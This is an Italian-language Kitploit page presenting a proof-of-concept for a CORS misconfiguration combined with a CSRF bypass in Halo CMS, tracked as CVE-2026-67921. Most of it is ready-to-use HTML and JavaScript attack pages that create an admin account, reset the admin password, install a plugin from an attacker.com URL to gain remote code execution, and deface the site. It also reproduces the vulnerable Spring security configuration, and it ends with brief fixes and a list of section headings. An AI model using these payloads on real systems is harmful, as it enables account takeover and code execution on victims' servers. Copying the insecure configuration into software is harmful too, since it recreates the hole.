halo-cors-csrf-CVE-2026-67921 — Proof-of-concept che dimostra una combinazione di errata configurazione CORS e bypass della protezione CSRF in Halo CMS, consentendo attacchi di cross-site request forgery per creare utenti amministratori, modificare password, installare plugin e alterare i contenuti. | Kitploit

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← QUALSIASI origine
    configuration.setAllowCredentials(true);                // ← Consenti cookie
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Route API escluse dal CSRF!
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

┌─────────────────────────────────────────────────────────────┐
│  L'attaccante ospita una pagina dannosa su evil.com         │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Il browser della vittima visita evil.com                   │
│  → Il modulo si invia automaticamente all'API di Halo       │
│  → Il browser include automaticamente il cookie di sessione │
│  → CORS: Origine * + credentials: true → Richiesta consentita! │
│  → CSRF: /apis/** escluso → Nessun token richiesto!         │
│  → La richiesta riesce con i privilegi della vittima        │
└─────────────────────────────────────────────────────────────┘

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

<html>
<body>
<script>
  // Cambia il titolo del sito
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Questa pagina tenterà di modificare le impostazioni di Halo quando viene caricata.</p>

<script>
// Test CSRF modificando il titolo del sito
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCESSO! L\'attacco CSRF ha funzionato.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Fallito: ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "Attacco CSRF riuscito - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Attacco	Impatto	Gravità
Creare utente admin	Compromissione totale del sistema	Critico
Cambiare password admin	Furto dell'account	Critico
Installare plugin dannoso	Esecuzione di codice remoto	Critico
Modificare contenuti	Defacement	Alto
Eliminare dati	Perdita di dati	Alto
Rubare dati	Divulgazione di informazioni	Alto

// Rimuovi le esclusioni API dal matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Protezione	Da sola	Combinata
CORS `*`	Blocca le credenziali (imposto dal browser)	Credenziali consentite!
Nessun CSRF	Protetta dalla Same-Origin Policy	Bypassata dal CORS!
Risultato	Sicura	CSRF completo

halo-cors-csrf-CVE-2026-67921

Più Popolari

Versioni Interessate

Dettagli della Vulnerabilità

Vulnerabilità 1: Configurazione CORS Errata

Vulnerabilità 2: Bypass della Protezione CSRF

Meccanismo di Attacco

Perché Questa Combinazione è Pericolosa

Il Flusso dell'Attacco

Scenari di Sfruttamento

Scenario 1: Creare un Utente Admin

Scenario 2: Cambiare la Password dell'Admin

Scenario 3: Installare un Plugin Dannoso (RCE)

Scenario 4: Modificare il Contenuto del Sito

Proof of Concept

Test CSRF di Base

Passaggi di Verifica

Analisi dell'Impatto

Rimedio

Fix 1: Limitare le Origini CORS

Fix 2: Abilitare il CSRF per le Route API

Fix 3: Utilizzare l'Autenticazione con Bearer Token

Riferimenti

Cronologia